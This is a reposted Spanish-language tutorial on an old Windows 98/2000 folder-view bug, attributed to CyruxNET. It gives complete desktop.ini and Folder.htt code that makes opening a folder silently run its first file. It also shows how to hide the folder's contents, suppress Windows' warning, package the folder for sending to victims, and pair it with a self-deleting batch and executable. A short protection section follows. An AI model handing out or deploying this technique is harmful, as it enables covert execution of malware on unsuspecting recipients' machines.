Ejecutar archivo Con abrir una carpeta

 

Al abrir una carpeta... se ejecute un programa...

A continuacion... os ponemos un texto sobre un bug... que hemos sacado en nuestra cotidiana navegacion por internet... Hay que decir que es bastante bueno... y merece la pena.

El texto no ha sufrido ningun tipo de modificacion... porque no creo ni que deba... ni que lo necesite... porque es bastante bueno.

Os pongo el autor y su pagina web:

Texto escrito por CyruxNET
http://cyruxnet.com.ar

Sistemas afectados: Todos los Windows con "ver como página web" activado.
Esta opción se encuentra activada por defecto en todos los Windows 9x a partir del 95. y en el win2000, no se el WinNT con el último ServicePack.

¿Alguna vez te has parado a pensar como hace Windows para que cuando abrimos una carpeta, podamos ver a la izquierda el título de la carpeta, comentarios, preview, etc?
Pues eso forma parte (como muchas otras cosas) de la famosa fusión de Windows con la red, me explico, todo el entorno de Windows, a partir de win98, funciona con pequeños códigos *.htt que para entendernos, se asemejan mucho a los .html (y similares). Vamos a ver porqué.
Cuando abrimos una carpeta se ejecuta un archivo llamado Folder.htt que se encuentra en "/windows/web/" (o /winnt/web/) este archivo es el que contiene el modo en el que vamos a ver esa carpeta, es decir, iconos grades, iconos pequeños, como página web, etc. En la misma ruta hay otros *.htt que contienen por ejemplo el modo en el que vamos a ver el panel de control, mis imagenes, etc.

Si modificamos la plantilla que utilizamos para ver una determinada carpeta se crea una copia del Folder.htt dentro de esa carpeta, con las caracteristicas que nosotros le hemos añadido, junto con otro archivo llamado desktop.ini, que será el responsable de hacer que se lance el Folder.htt al abrir la carpeta, ambos archivos se encuentran ocultos por defecto. Por lo tanto al abrir una carpeta modificada ocurre el siguiente mecanismo:


Primero se ejecuta un archivo llamado desktop.ini (oculto) cuya función es básicamente apuntar hacia el folder.htt que está en esa carpeta (también oculto). Este se segundo archivo contiene un código "html" como cualquier página web, y es que en realidad no es mas que una web que situa a la izquierda una serie de campos predeterminados, como el preview, titulo de la carpeta, comentarios, iconos... y a la derecha lista los contenidos propios de la carpeta, con el formato seleccionado, iconos grandes, iconos pequeños, lista, detalles...


Cuando pulsamos en "Ver" >> "Personalizar esta carpeta" lo único que estamos haciendo es elegir entre varias de estas "webs" que nos ofrece Windows para poner la que mas nos guste, incluso (asombroso) nos permite modificar el código para que lo cambiemos nosotros mismos.
Como ya habrás intuido el problema es que este folder.htt puede ser modificado maliciosamente y hacer que lleve a cabo funciones que no debería.



DEMOSTRACIÓN EN WIN98

En primer lugar vamos a crear esos 2 archivos que Windows ha "ocultado", para ello crea una carpeta, por ejemplo: TEST98, una vez dentro de esa carpeta, pulsa en "Ver" >> "Personalizar esta carpeta"

Elige que si, que quieres "crear o editar un documento HTML" y pulsa siguiente en el cuadro de instrucciones que aparece después, automáticamente se abrirá en archivo de texto, que es el código fuente del folder.htt, para que lo modifiquemos.
Por ahora ciérralo, vamos a modificarlo mas tarde, y pulsa finalizar en el siguiente cuadro, y da las gracias :)


Vamos por partes.

El Desktop.ini es así:

[ExtShellFolderViews]
Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=file://Folder.htt

[.ShellClassInfo]
ConfirmFileOp=0

Lo único que ahora nos interesa es la línea:

PersistMoniker=file://Folder.htt

Esto es lo que hará que cuando abramos la carpeta, en Windows interprete el archivo Folder.htt
Este archivo debe estar en la carpeta que estamos probando, si se mete en una subcarpeta, no servirá.

El Archivo Folder.htt, como puedes ver es un código html y cambiándolo puedes hacer que tus carpetas sean muy diferentes, cambiando los iconos, u otras cosas, pero lo que aquí nos interesa está casi al final:


...
...
...
</div>
<!-- end left info panel -->

<!-- this is the standard file list control -->
<!-- webbot bot="HTMLMarkup" startspan -->
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
<!-- webbot bot="HTMLMarkup" endspan -->


</html>


Como se puede ver está todo perfectamente comentado :)
Lo interesante aquí es:
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>


Ésta parte del código no la debemos tocar, el resto se podría eliminar y no pasaría nada, pero ahora tenemos que introducir nuestro código, para ello basta con poner el siguiente script:

<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>



Éste es el gran TRUCO, descubierto por Guninski, con éste script, consiguió gracias a los () que Windows seleccione y ejecute el primer elemento de los
que haya en la carpeta, a través de la"function f()".
Con "FileList.focus()" consigue que se seleccione el primer elemento, y con "FileList.FocusedItem.InvokeVerb()" lo invoca, es decir, lo abre.
"setTimeout("f()",2000)" es el desencadenante de la función f() y el 2000 significa 2000 milisegundos, es decir, tardará 2 segundos en ejecutarse, es conveniente no modificar esto para que funcione bien.

Si ahora añadimos el script al Folder.htt, éste quedará así:

...
...
...

</div>
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>



</html>

(Las líneas con <-- --> son comentarios que se pueden eliminar)
También podríamos hacer un documento con sólo estos dos elementos, como este:

<html>

<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>

</html>

Pero no es un entorno realista.

Ahora coloca el archivo que quieres que se ejecute al abrir la carpeta, y renómbralo como A.exe, si es un ejecutable, A.txt si es un texto, etc. El fin de esto es que se coloque de primero. En el ejemplo está puesto un texto con el nombre A.txt:

Hay que tener cuidado de que no haya mas carpetas dentro de ésta, puesto que si las hubiese, se situarían de primeras, y en vez de abrirse nuestro archivo, se abriría la primera carpeta.

Aún queda algo IMPORTANTE, evidentemente una carpeta no se puede enviar tal cual, hay que comprimirla, si se comprime con Winzip, éste elimina la personalización de la carpeta, para evitar esto es tan fácil como meter la carpeta modificada dentro de otra, de este modo el winzip, sólo pisará la personalización de la carpeta superior, dejado intacta la modificada, aunque después al abrirla tengas que pasar por dos carpetas hasta llegar a la nuestra.
Otra manera es comprimirlo con el Winrar, con el que no tenemos este problema


Este bug no lo he encontrado yo, es de Guninski, (cómo no) mío sólo es el uso del bug, de la forma que he explicado.


OBSERVACIONES:
Todo lo aquí explicado se hace bajo el supuesto de que el Windows está configurado para mostrar los archivos ocultos.
Las carpetas deben tener los iconos ordenados por nombre (opción por defecto) Si estás pensando que aún asi, el archivo que se ejecuta cantaría mucho, date cuenta de que en primer lugar, para cuando te des cuenta, ya será tarde y en segundo lugar hay troyanos/Virus que se autoeliminan una vez ejecutados y que aun así éstos pueden ir pegados a otros archivos que parezcan bromas inofensivas.
He encontrado algunos ejecutables que dan un error al ser abiertos de ésta forma, no se porqué, ni me importa, porque...
El propósito de todo ésto es que la gente sea consciente de los peligros que corre no ayudar a crear mas peligros.





DEMOSTRACIÓN EN WIN2000

Si ya te has leído como se hace en Win98, en Win2000 cambia un poco, aunque lo básico sigue siendo igual, y el bug es el mismo, pero ahora cambia la situación de los archivos.

Si no te has leído la demostración en Win98, leetela y vuelve, porque aquí no voy a repetir todo, sólo, las variantes.

En Win2000 el archivo folder.htt ya no se encuentra en la misma carpeta que el "Desktop.ini", ahora está dentro de otra carpeta llamada "Folder Settings" lo cual inutiliza el procedimiento que se usaba en el 98 porque al ser una carpeta, se situará siempre antes que los archivos que están también ahí, y lo único que conseguiremos e que se abra esa carpeta en vez de el archivo deseado.

Pero podemos buscar una solución para esto.

Vamos por partes:
Creamos una carpeta que se llame por ejemplo TEST2000 y entramos en ella Lo primero es otra vez crear esos archivos que buscamos, para ello vamos a "Ver" >> "Personalizar esta carpeta" y nos aparece un cuadro de dialogo, en el que pulsamos siguiente.

Marcamos la opción "Personalizar" >> "Seleccionar o modificar una plantilla HTML para esta carpeta. Así da gusto :)
Pulsamos en siguiente.


Ahí puedes ver las distintas maneras que hay para ver las carpetas en Windows 2000, en realidad no son mas que distintos HTML, seleccionamos el primero y marcamos la casilla "Deseo modificar esta plantilla" :) , pulsa siguiente y se abrirá en el editor de texto el "Folder.htt", por ahora ciérralo, y pulsa Finalizar.
Ahora ya puedes ver en la carpeta los archivos que necesitamos (por supuesto si lo tienes configurado para que se vean los archivos ocultos).



El "Folder.htt" del Win2000 utiliza ciertos gráficos situados en su misma ruta a diferencia de lo que hacía el 98. Esos son los gráficos que aparecen en la columna de información de la izquierda de la ventana.

Vamos al meollo de la cuestión:
Hay que eliminar como sea de esa carpeta "Folder Settings", para ello copiamos todo lo que tiene dentro y lo pegamos en nuestra carpeta TEST2000.
Para que funcione tenemos que editar el "Desktop.ini"; esto es lo que obtenemos:

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=file://Folder Settings\Folder.htt
PersistMonikerPreview=%WebDir%\folder.bmp
[ExtShellFolderViews]
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}
[.ShellClassInfo]
ConfirmFileOp=0


Pede verse que varía algo respecto al del 98, pero una vez mas a nosotros lo que nos interesa es la línea:
PersistMoniker=file://Folder Settings\Folder.htt

Fíjate que ahora el "Desktop.ini" sigue apuntando al "Folder.htt", pero ahora dentro de la carpeta "Folder Settings", bien, pues la cambiamos por ésta:

PersistMoniker=file://Folder.htt

Ahora ya no apunta a dentro de la carpeta, con esto conseguimos que al abrirse nuestra TEST2000 ya no se ejecute es "Folder.htt" que estaba dentro de "Folder Settings", en su lugar se ejecutará el Folder.htt que está a su lado.
Ya podemos borrar la carpeta "Folder Settings"


Ahora sólo hay que modificar el Folder.htt como hicimos en el 98
Llegados a este punto voy a enseñar 3 sugerencias posibles (hay mas sólo hay que echarle imaginación):

La 1ª: Sin Gráficos:

Si directamente borramos todos los gráficos de la carpeta e incluimos nuestro archivo (en este caso el A.txt).



Este ejemplo es totalmente operativo, pero la ilusión no es completa, como ves faltan los cuadrados de colores y la raya azul de debajo del titulo, tal vez el que abra la carpeta ni se entere. Puedes bajarlo aquí

Se puede perfeccionar, locual nos lleva a la segunda configuración.


La 2ª: Con los gráficos, pero sospechosa:

Si nos fijamos en los gráficos, en una carpeta estándar, sólo se utilizan 2 de ellos: wvleft.bmp y wvline.gif

Así que el resto ya los podemos borrar.


La 3ª: Con los gráficos, pero sin sospechar:

Esto no tiene secreto, hazte una página web que utilice esos 2 gráficos y ponla junto con el resto de los archivos y el resto de los gráficos que utilices en la página si es que los hubiera.



IMPORTANTE, (lo mismo que en el 98) evidentemente una carpeta no se puede enviar tal cual, hay que comprimirla, si se comprime con Winzip, éste elimina la personalización de la carpeta, para evitar esto es tan fácil como meter la carpeta modificada dentro de otra, de este modo el winzip, sólo pisará la personalización de la carpeta superior, dejado intacta la modificada, aunque después al abrirla tengas que pasar por dos carpetas hasta llegar a la nuestra.
Otra manera es comprimirlo con el Winrar, con el que no tenemos este problema

Este bug no lo he encontrado yo, es de Guninski, (cómo no) mío sólo es el uso del bug, de la forma que he explicado.


OBSERVACIONES:
Todo lo aquí explicado se hace bajo el supuesto de que el windows está configurado para mostrar los archivos ocultos.
Las carpetas deben tener los iconos ordenados por nombre (opción por defecto)
Si estás pensando que aún así, el archivo que se ejecuta cantaría mucho, date cuenta de que en primer lugar, para cuando te des cuenta, ya será tarde y en segundo lugar hay troyanos/Virus que se autoeliminan una vez ejecutados y que aun así éstos pueden ir pegados a otros archivos que parezcan bromas inofensivas.
He encontrado algunos ejecutables que dan un error al ser abiertos de ésta forma, no se porqué, ni me importa, porque...
El propósito de todo esto es que la gente sea consciente de los peligros que corre no ayudar a crear mas peligros.



Demostración en WinXP

Estamos trabajando en la demostración para modificar una carpeta en el Windows XP, pero de todos modos, el XP es vulnerable a este fallo, con cualquier carpeta que haya sido modigficada en un Win98 o Win2000.

Parace increible que Microsoft no haya arreglado este problema es su XP.



CENTREMONOS UN POCO MAS EN LAS CARPETAS VACIAS

Si ya has visto como se puede crear una carpeta, que ejecute un programa, por el mero hecho de abrirla, ahora verás como conseguir que nadie sospeche de que esa carpeta está manipulada, creyendo que está vacía.

Si todavía no sabes de lo que estoy hablando, leete las demostraciones para Win98 y para Win2000.

Conseguir que una carpeta no muestre sus contenidos aunque sea abierta es relativamente fácil si nos limitamos a que oculte sus contenidos en nuestro sistema, pero, si lo que queremos es que los contenidos de esa carpeta permanezcan ocultos, sea cual sea el PC que lo abra (con Win98, 2k, XP), ya tenemos que andar con mas ojo, y hacer unos cuantos cambios en el folder.htt

Si ya has probado a hacer estos cambios habrás comprobado que al menor cambio, el Windows informa de que el contenido ha sido modificado y de puede ser peligrosa, este es el mensaje que suele aparecer:



Pero existe una manera, (seguramente existen mas) de conseguir que no aparezca este mensaje.



DEMOSTRACIÓN

Sigue cuidadosamente los siguientes pasos si quieres comprobarlo por ti mismo.


Vamos a modificar ciertas lineas del Folder.htt, esto es parte del source del Folder.htt creado en wl Windows 2000, pero ya modificado con el Script ejecuta el archivo que esté en el primer lugar dentro de la carpeta:



...
<body scroll=no onload=Load()>
<div id=Panel style="background: white URL(wvleft.bmp) no-repeat">
<div id=Corner>
<object id=FolderIcon classid="clsid:E5DF9D10-3B52-11D1-83E8-00A0C90DC849" tabIndex=-1>
<param name="scale" value=100>
</object>


<div id=FolderName>
%THISDIRNAME%
</div>
</div>
img id=LogoLine src="wvline.gif"
<div id=Details>
<span id=CSC>
<div id=CSCDiv tabIndex=2 onmouseover="CSC_MouseOver()" onmouseout="CSC_MouseOut()" onclick="CSCShowStatus_FoldExpand_Toggle()" onkeypress="CSCShowStatus_FoldExpand_Toggle()">
<span id=CSCPlusMin>
</span>
<span id=CSCText>
</span>


</div>
<div id=CSCDetail>
</div>
<span id=CSCButton>
</span>
<hr CLASS=Divider NOSHADE>
</span>
<span id=Info>
%THISDIRPATH%
</span>
<div id=Preview style="display: none">
</div>



<object id=Thumbnail classid="clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92" tabIndex=-1>
</object>
<label id=ThumbnailLabel for="Thumbnail" style="display: none">
</label>

</div>
</div>
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=1>
</object>

</html>


Las partes señaladas en rojo son las que vamos a modificar o eliminar.

En primer lugar sustituimos:

<object id=Thumbnail classid="clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92" tabIndex=-1>
</object>


por esto:

<object id=Thumbnail classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=-1>
</object>

Como ves solo hemos cambiado la parte que está en rojo, que corresponde al classid, el nuevo classid que hemos colocado, no es otro que el que aparece en el Folder.htt casi al final, el que pertenece al "FileList" en color verde.

Es decir, sustitimos el classid del Thumbnail por el classid del FileList.

Para los que no lo sepan, FileList se refiere a la parte principal que vemos cuando abrimos una carpeta, donde se situan los iconos de los archivos que contiene esa carpeta, ya sea en la vista "Iconos grandes", "Detalles", etc.

Se denomina Thumbnail a la parte izquierda que nos aparece en las carpetas cuando tenemos activado "Ver como página web", en la que nos aparece el nombre de la carpeta, los preview de los archivos gráficos o de los HTML, etc.

Con esto lo que conseguimos es crear un escenario engañoso, puesto que al cambiar las características del Thumbnail, lo que conseguimos es que este nos "oculte" la parte FileList de la carpeta.

(Dejo las explicaciones técnicas para los que les interese, no me voy a extender mucho mas en el porqué de todo esto, porque el fin de este articulo no es dar clases , sino demostrar lo fácil que es ser engañado por un fallo de este tipo, por alguien sin apenas conocimientos)

Hasta aquí ya está conseguido que los contenidos de la carpeta no se vean, pero si probamos a usar el Folder.htt así, el windows advertirá de que el contenido puede ser peligroso porque ha sido modificado, como vimos antes.

Parece por tanto que funciona la seguridad de windows, pero ¿ es posible engañar al windows?, pues evidentemente si, si seguimos buscando en el código del Folder.htt vemos las siguientes partes: esta

...
<div id=FolderName>
%THISDIRNAME%
</div>
...


y esta

...
<span id=Info>
%THISDIRPATH%
</span>


La primera se encarga de puner en la zona Thumbnail el nombre de la carpeta en la que estamos, y la segunda es donde está la ruta de la carpeta.

Pues aunque parezca increible, evitar la alerta de windows es tan fácil como borrar estas dos claves.

Después de cambiar el classid y de eliminar estas claves el código del Folder.htt quedará así.


...
<body scroll=no onload=Load()>
<div id=Panel style="background: white URL(wvleft.bmp) no-repeat">
<div id=Corner>
<object id=FolderIcon classid="clsid:E5DF9D10-3B52-11D1-83E8-00A0C90DC849" tabIndex=-1>
<param name="scale" value=100>
</object>


</div>
img id=LogoLine src="wvline.gif"
<div id=Details>
<span id=CSC>
<div id=CSCDiv tabIndex=2 onmouseover="CSC_MouseOver()" onmouseout="CSC_MouseOut()" onclick="CSCShowStatus_FoldExpand_Toggle()" onkeypress="CSCShowStatus_FoldExpand_Toggle()">
<span id=CSCPlusMin>
</span>
<span id=CSCText>
</span>


</div>
<div id=CSCDetail>
</div>
<span id=CSCButton>
</span>
<hr CLASS=Divider NOSHADE>
</span>
<div id=Preview style="display: none">
</div>



<object id=Thumbnail classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=-1>
</object>
<label id=ThumbnailLabel for="Thumbnail" style="display: none">
</label>

</div>
</div>
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=1>
</object>

</html>




Bájate aqui el código completo ya modificado.

Sustituyendo este Folder.htt por el que ya teniamos dentro de la carpeta modificada antes, ya podemos borrar todos los archivos de dentro, excepto: Foldet.htt, Desktop.ini, A.txt (lo que se quiera ejecutar/abrir). La renombramos a "TESTvacia" y ya la tenemos acabada.

El resultado será este:



Esta carpeta se ha abierto y ha ejecutado el primer archivo de su interior (en nuestro caso el A.txt), pero como se ve parece estar vacía.

Lo único que hace sospechar es que se puede ver en la parte inferior el número de objetos que contiene y el tamaño de los mismos.

Esto no es del todo fiable, porque un intruso podría ejecutar algo que ejecutase a su vez un exe malicioso para después borra el exe y a si mismo.

Para que te hagas una idea imagina lo que ésto haría metido en un archivo llamado a.bat metido en la carpeta modificada junto con un exe malicioso llamado b.exe:

echo b.exe
echo del b.exe
echo del a.bat


(no intentes hacer esto porque no funcionará, es sólo para que te hagas una idea del nivel de "invisibilidad" que se puede obtener mediante este tipo de carpetas)

Esta carpeta es válida tanto para cualquier Windows a partir del 98.

Bájate aquí la carpeta completa del ejemplo.



PROTECCIÓN:

Lo mejor que puedes hacer para evitar ser atacado de esta forma es desactivar el modo "Ver como página web" poniendo la vista de las carpetas llamada "Clasico", de esta manera no dosfrutarás de la columna Thumbnail de las carpetas, pero serás inmune a este ataque. La decisión es tuya.

Si abres una carpeta en la que no aparece el Thumbnail a pesar de tener activado el modo "Ver como página web", fíjate rápidamente en el número de objetos que aparecen en la parte inferior de la ventana, y asegurate de que es cero, al igual que el tamaño de los archivos que contiene la carpeta.

Otra manera de asegurarte de que una carpeta es segura es abrirla desde una ventana de comandos, y ver el contenido, pero atención, no basta con hacer un "dir", si los archivos están ocultos, no aparecerán en el dir, lo que debes hacer es "attrib".

Aquí puedes ver el resultado engañoso de hacer un dir:


En cambio consultando el attrib dentro de la carpeta vemos lo siguiente:


Ahora se puede ver que hay 3 archivos ocultos en la carpeta en la que antes parecía no haber nada.

CONCLUSIONES

Lo aquí explicado es sólo una demostración rápida de cómo, sin ser necesarios grandes conocimientos de programación, es posible introducir un programa mailcioso en cualquier PC con Windows (en cualquiera de sus versiones a partir de la 98).

Casi todo el mundo que usa Windows es vulnerable a que alguien decida mandarle un ejecutable malicioso, ya sea por IRC, por mail, o por cualquier otra manera de intercambio de archivos, con una muy alta probabilidad de conseguir ejecutarlo en la victima sin tener que intervenir.


Texto escrito por CyruxNET